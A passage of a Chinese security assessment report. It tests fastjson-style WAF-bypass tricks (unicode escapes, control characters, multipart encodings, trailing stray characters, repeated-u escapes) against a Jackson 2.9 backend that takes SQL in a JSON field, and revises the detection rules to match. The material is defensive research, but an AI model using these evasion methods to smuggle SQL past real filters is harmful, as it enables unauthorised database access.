6.10.3 对 §6 检测模型的修正
修正点:原 §6.3 隐含假设"fastjson 宽松解析"——实际解析器是 Jackson 2.9.9 严格模式。\uXXXX 是标准转义(故 P12 成功),fastjson 私有特性(\x/单引号/注释)在请求体层不存在绕过面;
强化结论:§6.5 分层模型中 L1 原始报文 \u00XX 密集转义检测是唯一且必要的检测面——攻击者唯一有效的绕过通道就是 \uXXXX,其原始字节形态必然呈现密集 \u00XX 特征;
补充检测建议:L2 解码后除 token 正则外,增加 值外控制字符转义(换行/Tab/回车 字面文本)计数(正常业务 SQL 中换行出现在 SQL 字符串外属于异常信号,对应 C6 变体);
WAF 加固结论:任何声称防护本系统的 WAF,其有效性完全取决于是否对 JSON 报文执行 \uXXXX 解码;不解码则所有 \u 转义变体(P12 及其任意组合)均可绕过。
6.11 fastjson bypass WAF 手段实测验证(,目标服务器 + jdwp 双验证)
6.11.1 手段清单与总结论表
6.11.2 详细验证过程
Content-Type 矩阵:
text/plain、application/x-www-form-urlencoded、application/octet-stream、multipart/form-data四种 Content-Type 携带标准 JSON,全部返回{"status":500,"msg":"服务器出错,请重试"}(GRP 全局异常包装)。jdwp 异常事件实证:org.springframework.web.HttpMediaTypeNotSupportedException抛出于AbstractMessageConverterMethodArgumentResolver:206——converter 列表无一canRead匹配的标准位置,与"fastjson converter 已注册"假设矛盾,反向证实 §6.8.2 的注册实证;multipart CTE:
Content-Disposition: form-data; name="data"+Content-Transfer-Encoding: base64(及 quoted-printable)的 part 携带 Base64/QP 编码 JSON——同样 415。Spring 的StandardServletMultipartResolver解析 multipart 后,@RequestBody仍需 converter 读取 body,而 converter 列表无 multipart 支持者(Tomcat 对 part 的 CTE 解码无从触发);键值间控制字符(application/json,修正此前 text/plain 测试的混淆因素):
{"sql"\t:...}、{"sql"\n:...}、{"sql"\r:...}→ ✅ 解析成功(RFC 8259 标准空白,与 fastjson 行为一致部分);{"sql"\b(0x08):...}、{"sql"\f(0x0C):...}→ ❌ JsonParseException(jdwp 事件:ParserMinimalBase:693)——与 fastjson 不同(fastjsonisWhitespace跳过\b/\f),Jackson 严格只认四种标准空白;大量字符绕过:
paramArray传[[111…(300位)],…×200]超大嵌套数组 → application/json 下请求解析成功进入 controller → 业务层报com.alibaba.fastjson.JSONArray cannot be cast to com.alibaba.fastjson.JSONObject。该手段针对 fastjson 递归解析器制造特征淹没,对 Jackson 无解析器差异,不构成绕过。
6.11.3 新发现:paramArray 二次 fastjson 解析层(存在但不可利用)
util.e.a(String, Map, Object)(参数替换)内部:JSONArray.parseArray(String.valueOf(paramArray)) → 遍历 getJSONObject(i) 取 paramName/paramValue 做 ${paramName} 占位符替换——存在一层 fastjson 宽松解析,本可成为 \xHH 二次解码面(\\x27 双反斜杠过 Jackson 层,二次解析解码为 ');
但二次解析的输入是 Jackson 解析结果的 Java toString 格式,与纯 fastjson 环境(JSONArray.toString = JSON 格式)完全不同:
结论:
\xHH/\uXXXX等扩展转义即使以\\x27形式通过 Jackson 第一层,也无法在二次解析层落地为注入(Java toString 已破坏 JSON 词法,且对象数组的expect ':'失败先于转义解码发生)。此层不可用作 WAF 绕过通道——与官方 jmreport 纯 fastjson 环境(paramArray 为 JSONArray,toString 即 JSON,二次解析可正常执行)的行为差异,是 GRP 环境独有的"防御红利"。
.11.4 结论
有效通道唯一:
\uXXXX(Jackson 标准转义)+ RFC 8259 标准空白(\t/\n/\r/空格)——即 P12 / C6 / A3 三族,与 §6.9/§6.10 结论一致;fastjson 社区公开的 bypass 手段(multipart CTE、大量字符、
\xHH、单引号、注释、\b/\f跳过、Content-Type 解析器切换)在当前环境全部不可用;检测模型维持 §6.10.3 修正:L1 原始字节
\u00XX密度检测仍为唯一必要检测面;检测方应警惕的唯一剩余变量是"WAF 是否做 JSON 解码"。
6.12 Y4tacker《浅谈Fastjson绕waf》深度研究对照验证(,目标服务器实测)
6.12.1 文章手法全清单对照(来源:sec-in.com/article/950 同源博文 Y4tacker)
6.12.2 重大迁移发现:Jackson 2.9 尾随杂散字符(N2 族,威胁检测模型)
实测:
{"sql":"select 'NX' as val",...}后追加}、{、[、]、:、(、;、反引号、"、/*xx*/、\u001a、以及整个合法 JSON 对象{"a":1}——12 变体全部解析成功并完成渲染(HTTP 200 + fieldList 回显);机制:Spring 经
ObjectMapper.readValue(String, ...)解析——Jackson 2.9 在 Map 解析完成后不检查输入是否消费完(_verifyNoTrailingTokensEOF 校验为 2.13+ 才加入),尾随 token 静默丢弃;与文章对比:fastjson 同样忽略尾随字符但排除
():[]{}等结构字符(JSONLexerBase#nextToken限制);Jackson 2.9 无任何排除——当前环境比 fastjson 更宽松;攻击场景(语义分裂):
① WAF 以
^{.*}$正则或json.loads做"JSON 完整性校验"→ 尾随垃圾使校验失败 → WAF 判"非 JSON 报文"跳过检测放行 → Jackson 正常执行渲染;② WAF 全文统计
\u00XX密度(§6.10.3 的 L1 模型)→}后追加大段普通文本可稀释密度至阈值下,绕过 L1 检测;
检测修正:检测与特征提取必须限定在 JSON 结构范围内(首个
{至其配对}之间);禁止对全文 body 统计特征;提取 sql 需严格解析(EOF 校验);WAF 不得以"完整性校验失败"为由放行报文——严格解析失败 ≠ 应用解析失败。
6.12.3 其余手法拒绝/不适用实证
N1 值起始 token 替换(文章 @type 技巧的 Jackson 对应面):
"sql":xselect 'N1' as val→ 500。Jackson 值位置只认合法值 token,无 fastjsonscanSymbol的"首引号可替换"逻辑漏洞;N3 注释+控制字符(文章高级篇
\u001a技巧):/*\u001a{/*y4tacker*/"sql":"select 'N3' as val"...}*/→ 500。该技巧成立前提是"解析器接受注释",Jackson 词法层直接拒绝,语义分裂条件不成立;N4 多逗号:
{,,,}中间逗号 → 500(Jackson 严格模式,AllowArbitraryCommas不存在);smartMatch /
is前缀:纯 fastjsonJavaBeanDeserializer#smartMatch特性;当前环境请求体层是 Jackson Map 反序列化(key 精确匹配,getString("sql")不模糊)、paramArray 二次层是JSONObject.get("paramName")精确匹配——全链路无模糊 key 匹配层,天然免疫;N5/N5b 值内任意
\u转义(\u001a0x1A、\u0000NUL 出现在 SQL 字符串末尾):✅ 执行成功——补充 C5 边界:NUL/0x1A 在 SQL 字符串末尾被 SQL Server 忽略,仅当出现在 SQL 语句中间(sel\u0000ect)才报错。
6.12.4 结论与检测模型二次修正
文章 11 项手法仅 1 项完全迁移(尾随杂散字符 N2 族),且当前环境比文章描述的 fastjson 行为更强(无
():[]{}排除)——这是 Jackson 2.9 旧版(无 EOF 校验)特有的攻击面;其余 10 项在请求体层全部被 Jackson 严格模式拒绝,或属 fastjson JavaBean 特性在当前环境天然不存在;
§6.5 检测模型二次修正:L1 密度检测与 L2 解码检测的作用域必须限定在 JSON 结构内(
{…}),全文统计可被 N2 尾随填充稀释绕过;WAF 侧禁止以"JSON 完整性校验失败"为由放行——应用解析器(Jackson 2.9 宽松尾随)与严格校验器语义分裂正是 N2 攻击的入口。
6.12.5 补充验证:多 u 复写 \uuuuXXXX(fastjson 私有转义特性)
特性背景:fastjson
JSONLexerBase#scanSymbol遇到\u后循环跳过连续u再读 4 位 hex——\uuuu0020等价(空格),是 fastjson 环境经典的 WAF 正则绕过(检测\u[0-9a-f]{4}会漏掉\uuuu...形态);Jackson 的_parseUnicodeEscape**只接受恰好一个u**,第 2 个u进入 hex 校验即charToHex('u') = -1→ "Invalid Unicode escape";实测(M1–M5,,全部无害 payload):
值层
\uuuu0020/\uu0020→ ❌ 500(M1/M1b),单\u0020对照 ✅(M1c);key 层
{"\uuuu0073ql":...}→ ❌ 500(M3),单\u0073ql对照 ✅(M3b);paramArray 二次 fastjson 层
"\\uuuu0041"→ ❌syntax error, pos 2——二次层收到 Java toString 后的[\uuuu0041],\非合法 token 起始,多 u 解码无从触发(M5);字面路径
"select\\uuuu0020'...'"→ ⚠️ Jackson 解码\\后 T-SQL 收到\uuuu0020文本,拒绝\u标识符 → 业务"解析失败",无执行(M2);
结论:多 u 复写在当前环境三个层面全部不可用——与 fastjson 环境的最后一类"转义形态"差异也已排除;
\uXXXX单 u 标准转义仍是唯一有效通道。检测方注意:按 fastjson 行为假设的检测器(匹配\u+[0-9a-f]{4})在 Jackson 环境会过度告警(多 u 输入实际被拒绝),但按 Jackson 单 u 检测则无此噪声。

7.2 写库持久化攻击流程(库表型入口)
